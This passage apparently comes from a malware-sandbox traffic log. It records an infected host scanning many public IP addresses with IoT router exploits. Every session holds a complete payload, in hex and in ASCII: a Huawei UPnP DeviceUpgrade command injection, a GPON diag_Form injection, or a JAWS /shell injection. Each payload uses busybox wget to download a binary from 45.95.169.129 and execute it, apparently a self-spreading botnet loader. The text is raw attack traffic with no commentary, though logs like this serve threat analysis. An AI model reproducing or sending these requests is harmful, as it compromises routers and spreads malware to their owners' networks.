6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.14	38638	117.44.222.92	443

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:03.179632902 CET	304	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://45.95.169.129/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.14	45324	161.25.237.43	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:03.253829956 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.14	51474	41.51.110.42	37215

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:04.145865917 CET	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.14	44396	41.40.143.60	37215

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:04.146646976 CET	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.14	47634	41.47.143.151	37215

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:04.147326946 CET	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.14	34998	202.122.36.255	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:04.148252964 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.14	53248	101.30.234.47	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:04.176194906 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.14	37920	167.95.37.105	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:04.208344936 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.14	41936	202.158.129.118	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:04.209116936 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.14	60116	13.31.53.69	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:04.240200996 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.14	52798	18.170.17.66	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:04.304250002 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.14	40142	124.155.57.184	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:04.305017948 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.14	44670	206.244.102.161	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:04.400645018 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.14	33274	202.243.9.93	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:04.401360989 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.14	51028	135.121.243.76	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:04.432200909 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.14	45120	119.27.8.73	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:04.433074951 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.14	41976	32.243.4.33	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:04.464494944 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.14	49098	219.124.101.191	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:04.465229034 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.14	39098	91.92.249.234	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:04.466623068 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.14	34930	50.174.166.7	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:04.496220112 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.14	33328	197.71.120.86	37215

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:05.138084888 CET	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.14	41084	156.12.1.123	37215

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:05.203438997 CET	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.14	43292	156.223.162.115	37215

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:05.204030991 CET	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.14	55226	41.88.128.241	37215

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:05.204603910 CET	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade 